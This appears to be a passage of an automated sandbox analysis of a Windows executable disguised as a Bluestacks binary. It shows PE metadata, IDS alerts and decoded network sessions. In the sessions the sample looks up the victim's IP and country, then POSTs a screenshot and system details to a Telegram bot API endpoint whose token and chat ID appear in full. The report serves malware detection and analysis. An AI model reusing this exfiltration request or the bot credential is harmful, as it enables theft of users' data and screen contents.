                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x330000x278.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x3c5ec0x120.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                            Sections

                                                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                            .text0x10000x31bdc0x31c002831bb8b11e3209658a53131886cdf98False0.5909380888819096data6.712962136932442IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                            .rdata0x330000xaec00xb000042f11346230ca5aa360727d9908e809False0.4579190340909091data5.261605615899847IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                            .data0x3e0000x247200x10009670b581969e508258d8bc903025de5eFalse0.451416015625data4.387459135575936IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                            .didat0x630000x1900x200c83554035c63bb446c6208d0c8fa0256False0.4453125data3.3327310103022305IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                            .rsrc0x640000xc3e80xc400bec94f1f3e278205a2e4f4feda712824False0.8596739477040817data7.575023821279637IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                            .reloc0x710000x233c0x240040b5e17755fd6fdd34de06e5cdb7f711False0.7749565972222222data6.623012966548067IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                            Resources

                                                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                            PNG0x645240xb45PNG image data, 93 x 302, 8-bit/color RGB, non-interlacedEnglishUnited States1.0027729636048528
                                                                                            PNG0x6506c0x15a9PNG image data, 186 x 604, 8-bit/color RGB, non-interlacedEnglishUnited States0.9363390441839495
                                                                                            RT_ICON0x666180x7a81PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9990433978508338
                                                                                            RT_DIALOG0x6e09c0x286dataEnglishUnited States0.5092879256965944
                                                                                            RT_DIALOG0x6e3240x13adataEnglishUnited States0.60828025477707
                                                                                            RT_DIALOG0x6e4600xecdataEnglishUnited States0.6991525423728814
                                                                                            RT_DIALOG0x6e54c0x12edataEnglishUnited States0.5927152317880795
                                                                                            RT_DIALOG0x6e67c0x338dataEnglishUnited States0.45145631067961167
                                                                                            RT_DIALOG0x6e9b40x252dataEnglishUnited States0.5757575757575758
                                                                                            RT_STRING0x6ec080x1e2dataEnglishUnited States0.3900414937759336
                                                                                            RT_STRING0x6edec0x1ccdataEnglishUnited States0.4282608695652174
                                                                                            RT_STRING0x6efb80x1b8dataEnglishUnited States0.45681818181818185
                                                                                            RT_STRING0x6f1700x146dataEnglishUnited States0.5153374233128835
                                                                                            RT_STRING0x6f2b80x46cdataEnglishUnited States0.3454063604240283
                                                                                            RT_STRING0x6f7240x166dataEnglishUnited States0.49162011173184356
                                                                                            RT_STRING0x6f88c0x152dataEnglishUnited States0.5059171597633136
                                                                                            RT_STRING0x6f9e00x10adataEnglishUnited States0.49624060150375937
                                                                                            RT_STRING0x6faec0xbcdataEnglishUnited States0.6329787234042553
                                                                                            RT_STRING0x6fba80xd6dataEnglishUnited States0.5747663551401869
                                                                                            RT_GROUP_ICON0x6fc800x14data1.05
                                                                                            RT_MANIFEST0x6fc940x753XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3957333333333333

                                                                                            Imports

                                                                                            DLLImport
                                                                                            KERNEL32.dllGetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, LocalFree, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
                                                                                            OLEAUT32.dllSysAllocString, SysFreeString, VariantClear
                                                                                            gdiplus.dllGdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

                                                                                            Possible Origin

                                                                                            Language of compilation systemCountry where language is spokenMap
                                                                                            EnglishUnited States

                                                                                            Network Behavior

                                                                                            Suricata IDS Alerts

                                                                                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                            2025-01-13T13:20:31.267087+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.64984734.117.59.81443TCP
                                                                                            2025-01-13T13:20:32.313688+01001810009Joe Security ANOMALY Telegram Send Photo1192.168.2.649852149.154.167.220443TCP

                                                                                            Network Port Distribution

                                                                                            TCP Packets

                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                            Jan 13, 2025 13:20:29.843364000 CET49843443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:29.843419075 CET4434984334.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:29.844027042 CET49843443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:29.858511925 CET49843443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:29.858552933 CET4434984334.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:30.321268082 CET4434984334.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:30.321341038 CET49843443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:30.326309919 CET49843443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:30.326323032 CET4434984334.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:30.326683044 CET4434984334.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:30.375999928 CET49843443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:30.413794041 CET49843443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:30.455329895 CET4434984334.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:30.535365105 CET4434984334.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:30.535450935 CET4434984334.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:30.535504103 CET49843443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:30.660085917 CET49843443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:30.669480085 CET49847443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:30.669529915 CET4434984734.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:30.669591904 CET49847443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:30.669809103 CET49847443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:30.669822931 CET4434984734.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:31.132097006 CET4434984734.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:31.133987904 CET49847443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:31.134012938 CET4434984734.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:31.267127037 CET4434984734.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:31.267190933 CET4434984734.117.59.81192.168.2.6
                                                                                            Jan 13, 2025 13:20:31.267345905 CET49847443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:31.267658949 CET49847443192.168.2.634.117.59.81
                                                                                            Jan 13, 2025 13:20:31.377116919 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:31.377216101 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:31.377302885 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:31.378884077 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:31.378925085 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.015774012 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.015861034 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.025147915 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.025193930 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.025543928 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.026962042 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.067343950 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.313721895 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.360393047 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.373320103 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.373366117 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.378698111 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.378710032 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.378797054 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.378804922 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.378954887 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.378968954 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.379009008 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.379014969 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.379051924 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.379056931 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.386323929 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.386338949 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.387284040 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.387295008 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.387741089 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.387749910 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.387784004 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.387795925 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.387825966 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.387835026 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.387866020 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.387876034 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.387903929 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.387912989 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.387949944 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.387986898 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388020992 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388042927 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388070107 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388098955 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388129950 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388151884 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388190985 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388221979 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388250113 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.388356924 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:32.389437914 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:32.389451981 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:34.044469118 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:34.044548988 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:34.044569016 CET44349852149.154.167.220192.168.2.6
                                                                                            Jan 13, 2025 13:20:34.044615984 CET49852443192.168.2.6149.154.167.220
                                                                                            Jan 13, 2025 13:20:34.045314074 CET49852443192.168.2.6149.154.167.220

                                                                                            UDP Packets

                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                            Jan 13, 2025 13:20:29.831152916 CET5188053192.168.2.61.1.1.1
                                                                                            Jan 13, 2025 13:20:29.838737965 CET53518801.1.1.1192.168.2.6
                                                                                            Jan 13, 2025 13:20:31.367119074 CET6297853192.168.2.61.1.1.1
                                                                                            Jan 13, 2025 13:20:31.373712063 CET53629781.1.1.1192.168.2.6

                                                                                            DNS Queries

                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                            Jan 13, 2025 13:20:29.831152916 CET192.168.2.61.1.1.10x87f4Standard query (0)ipinfo.ioA (IP address)IN (0x0001)false
                                                                                            Jan 13, 2025 13:20:31.367119074 CET192.168.2.61.1.1.10x6a63Standard query (0)api.telegram.orgA (IP address)IN (0x0001)false

                                                                                            DNS Answers

                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                            Jan 13, 2025 13:20:29.838737965 CET1.1.1.1192.168.2.60x87f4No error (0)ipinfo.io34.117.59.81A (IP address)IN (0x0001)false
                                                                                            Jan 13, 2025 13:20:31.373712063 CET1.1.1.1192.168.2.60x6a63No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false

                                                                                            HTTP Request Dependency Graph

                                                                                            • ipinfo.io
                                                                                            • api.telegram.org

                                                                                            HTTPS Proxied Packets

                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                            0192.168.2.64984334.117.59.814433576C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            TimestampBytes transferredDirectionData
                                                                                            2025-01-13 12:20:30 UTC61OUTGET /ip HTTP/1.1
                                                                                            Host: ipinfo.io
                                                                                            Connection: Keep-Alive
                                                                                            2025-01-13 12:20:30 UTC305INHTTP/1.1 200 OK
                                                                                            date: Mon, 13 Jan 2025 12:20:30 GMT
                                                                                            content-type: text/plain; charset=utf-8
                                                                                            Content-Length: 12
                                                                                            access-control-allow-origin: *
                                                                                            via: 1.1 google
                                                                                            strict-transport-security: max-age=2592000; includeSubDomains
                                                                                            Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                            Connection: close
                                                                                            2025-01-13 12:20:30 UTC12INData Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39
                                                                                            Data Ascii: 8.46.123.189


                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                            1192.168.2.64984734.117.59.814433576C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            TimestampBytes transferredDirectionData
                                                                                            2025-01-13 12:20:31 UTC42OUTGET /country HTTP/1.1
                                                                                            Host: ipinfo.io
                                                                                            2025-01-13 12:20:31 UTC448INHTTP/1.1 200 OK
                                                                                            access-control-allow-origin: *
                                                                                            Content-Length: 3
                                                                                            content-type: text/html; charset=utf-8
                                                                                            date: Mon, 13 Jan 2025 12:20:31 GMT
                                                                                            referrer-policy: strict-origin-when-cross-origin
                                                                                            x-content-type-options: nosniff
                                                                                            x-frame-options: SAMEORIGIN
                                                                                            x-xss-protection: 1; mode=block
                                                                                            via: 1.1 google
                                                                                            strict-transport-security: max-age=2592000; includeSubDomains
                                                                                            Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                            Connection: close
                                                                                            2025-01-13 12:20:31 UTC3INData Raw: 55 53 0a
                                                                                            Data Ascii: US


                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                            2192.168.2.649852149.154.167.2204433576C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            TimestampBytes transferredDirectionData
                                                                                            2025-01-13 12:20:32 UTC255OUTPOST /bot7622199935:AAFHSUQ61526mhYJcmipjqz2DM9Zso04aBI/sendPhoto HTTP/1.1
                                                                                            Content-Type: multipart/form-data; boundary="2fc83503-aa7d-4956-907f-539a12425ce1"
                                                                                            Host: api.telegram.org
                                                                                            Content-Length: 86494
                                                                                            Expect: 100-continue
                                                                                            Connection: Keep-Alive
                                                                                            2025-01-13 12:20:32 UTC25INHTTP/1.1 100 Continue
                                                                                            2025-01-13 12:20:32 UTC40OUTData Raw: 2d 2d 32 66 63 38 33 35 30 33 2d 61 61 37 64 2d 34 39 35 36 2d 39 30 37 66 2d 35 33 39 61 31 32 34 32 35 63 65 31 0d 0a
                                                                                            Data Ascii: --2fc83503-aa7d-4956-907f-539a12425ce1
                                                                                            2025-01-13 12:20:32 UTC89OUTData Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 63 68 61 74 5f 69 64 0d 0a 0d 0a
                                                                                            Data Ascii: Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=chat_id
                                                                                            2025-01-13 12:20:32 UTC10OUTData Raw: 36 32 37 35 37 34 39 33 39 33
                                                                                            Data Ascii: 6275749393
                                                                                            2025-01-13 12:20:32 UTC131OUTData Raw: 0d 0a 2d 2d 32 66 63 38 33 35 30 33 2d 61 61 37 64 2d 34 39 35 36 2d 39 30 37 66 2d 35 33 39 61 31 32 34 32 35 63 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 63 61 70 74 69 6f 6e 0d 0a 0d 0a
                                                                                            Data Ascii: --2fc83503-aa7d-4956-907f-539a12425ce1Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=caption
                                                                                            2025-01-13 12:20:32 UTC135OUTData Raw: 68 65 6c 6c 6f 0a 49 44 3a 20 61 30 66 63 63 62 39 65 38 38 35 31 30 66 39 34 63 62 30 64 65 66 66 64 33 63 36 32 31 32 37 30 35 32 62 32 61 66 65 33 0a 43 6f 6d 6d 65 6e 74 3a 20 65 6c 69 78 69 72 72 72 72 72 72 72 72 72 0a 55 73 65 72 6e 61 6d 65 3a 20 65 6e 67 69 6e 65 65 72 0a 50 43 20 4e 61 6d 65 3a 20 38 39 39 35 35 32 0a 49 50 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0a 47 45 4f 3a 20 55 53 0a
                                                                                            Data Ascii: helloID: a0fccb9e88510f94cb0deffd3c62127052b2afe3Comment: elixirrrrrrrrrUsername: userPC Name: 899552IP: 8.46.123.189GEO: US
                                                                                            2025-01-13 12:20:32 UTC146OUTData Raw: 0d 0a 2d 2d 32 66 63 38 33 35 30 33 2d 61 61 37 64 2d 34 39 35 36 2d 39 30 37 66 2d 35 33 39 61 31 32 34 32 35 63 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 70 68 6f 74 6f 3b 20 66 69 6c 65 6e 61 6d 65 3d 73 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 73 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 0d 0a 0d 0a
                                                                                            Data Ascii: --2fc83503-aa7d-4956-907f-539a12425ce1Content-Disposition: form-data; name=photo; filename=screenshot.png; filename*=utf-8''screenshot.png
                                                                                            2025-01-13 12:20:32 UTC4096OUTData Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08
                                                                                            Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1AQa"q2
                                                                                            2025-01-13 12:20:32 UTC4096OUTData Raw: d7 b5 91 7f 16 af a4 7f f6 e3 c5 e2 5f f7 2c 3f f8 aa 7e 54 c4 a2 83 45 7d 21 f1 c1 49 4b 49 40 05 26 29 68 a0 62 51 41 a2 80 0a 4e 69 69 0d 31 85 25 2d 14 00 94 52 e2 92 81 89 45 2e 29 28 01 3b d1 47 7a 28 18 50 68 a2 80 12 8a 28 a0 62 1a 4a 75 21 a0 02 92 96 83 40 0d c5 14 b4 50 31 29 29 68 a0 62 51 45 14 00 94 50 68 a0 77 10 d2 62 9d 49 40 c4 a2 96 92 80 41 8a 4a 5a 0d 03 1b 8a 29 68 a0 04 c5 25 2d 14 0c 69 a2 94 d2 50 30 a4 a5 a4 a6 01 49 8a 5a 4a 43 03 49 4b 49 40 c4 a2 96 92 80 0a 42 29 68 a0 63 48 a2 96 92 81 89 47 7a 53 49 40 c4 a3 14 b4 86 81 88 45 21 a7 1a 4a 00 4f ad 25 29 14 98 e2 81 89 9a 38 eb 4b 49 41 42 52 53 8d 20 a0 10 98 f6 a0 d0 68 a0 62 1a 3f ce 28 ed 45 01 71 3a 51 8c 71 4a 4d 27 7e f4 c6 07 14 86 96 92 90 c4 39 f5 a4 a7 72 29 08 ff
                                                                                            Data Ascii: _,?~TE}!IKI@&)hbQANii1%-RE.)(;Gz(Ph(bJu!@P1))hbQEPhwbI@AJZ)h%-iP0IZJCIKI@B)hcHGzSI@E!JO%)8KIABRS hb?(Eq:QqJM'~9r)
                                                                                            2025-01-13 12:20:32 UTC4096OUTData Raw: 4f 35 23 9a 4b b1 29 88 87 52 ac 02 ee c3 11 8c 01 d0 d5 ef 2e 3c e7 62 e7 d7 14 9e 54 64 e4 c6 b9 f5 c5 44 b2 68 3f b4 ff 00 a5 6f c8 d5 67 d5 17 d8 5f f0 6f 72 85 ba c3 71 67 6f 15 cd fd 8d 9d d4 5a 84 b7 2d 11 b7 91 15 d5 a3 89 46 c1 14 65 07 28 78 e2 b4 15 b7 28 3e b4 86 28 d8 e4 a2 93 ee 29 dd 06 05 7a 18 7c 32 a1 cd 67 a3 3c cc 56 29 e2 39 79 96 a9 5b f5 0a 4a 5a 4a e9 39 02 92 96 8a 00 4a 28 34 50 31 28 a2 8c 50 01 41 a2 8a 06 25 14 b8 a4 a6 02 62 8a 5a 4a 00 28 a2 8a 06 25 14 b8 a3 14 00 94 94 ec 52 50 02 51 4b 49 40 c4 a4 a7 52 1a 06 25 14 11 45 00 14 94 b4 50 02 51 45 14 0c 29 31 41 a2 9d 80 4a 4a 75 25 16 18 94 52 d2 50 30 a4 a5 a0 d2 b0 0d c5 14 b4 53 18 da 29 68 c5 03 1b 45 2d 25 2b 00 62 92 96 92 99 42 62 92 9d 49 40 09 8a 29 69 28 18 84 52
                                                                                            Data Ascii: O5#K)R.<bTdDh?og_orqgoZ-Fe(x(>()z|2g<V)9y[JZJ9J(4P1(PA%bZJ(%RPQKI@R%EPQE)1AJJu%RP0S)hE-%+bBbI@)i(R
                                                                                            2025-01-13 12:20:32 UTC4096OUTData Raw: d1 c3 55 75 79 aa 46 c9 af 23 94 b9 d2 2f 12 d2 c2 38 be 1d f9 c1 20 20 a7 f6 d8 5f 24 f9 8e 76 67 3f 37 5d d9 ff 00 6f 1d aa 0f 88 ff 00 f2 31 41 ff 00 5e 8b ff 00 a1 bd 7a 85 79 7f c4 7f f9 18 a0 ff 00 af 45 ff 00 d0 de bd 3c ad 5b 17 0f 9f e4 c9 cd 69 46 18 2a 9c ab b7 6e e8 e4 29 29 68 af ae 3e 24 4a 29 69 29 81 a9 e1 bf f9 19 74 df fa f8 4f e7 5d 27 8f bc 43 3e 8d a9 5d 5a da e5 26 bd b2 85 7c d0 7e e2 ab cd 9c 7b 9d c3 f5 ae 6f c3 9f f2 32 e9 bf f5 f2 9f ce ba ef 1a f8 2b 52 f1 26 b3 0d e5 9c f6 89 1a 5b ac 44 4c ec 0e 43 31 ec a7 8f 98 57 8d 8a 74 96 36 3e d7 6e 5f d5 9f 47 97 2a af 01 2f 65 bf 37 e8 8f 2a b2 bd b8 d3 af 61 bc b5 90 c7 3c 2d b9 18 7f 9e 95 d9 5a 78 bc d8 78 a1 75 a0 ce d6 5a 8a a8 ba 84 9c 98 d9 40 04 0f a7 51 ec d8 a4 ff 00 85 57
                                                                                            Data Ascii: UuyF#/8 _$vg?7]o1A^zyE<[iF*n))h>$J)i)tO]'C>]Z&|~{o2+R&[DLC1Wt6>n_G*/e7*a<-ZxxuZ@QW
                                                                                            2025-01-13 12:20:34 UTC1558INHTTP/1.1 200 OK
                                                                                            Server: nginx/1.18.0
                                                                                            Date: Mon, 13 Jan 2025 12:20:33 GMT
                                                                                            Content-Type: application/json
                                                                                            Content-Length: 1169
                                                                                            Connection: close
                                                                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                            Access-Control-Allow-Origin: *
                                                                                            Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                            Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
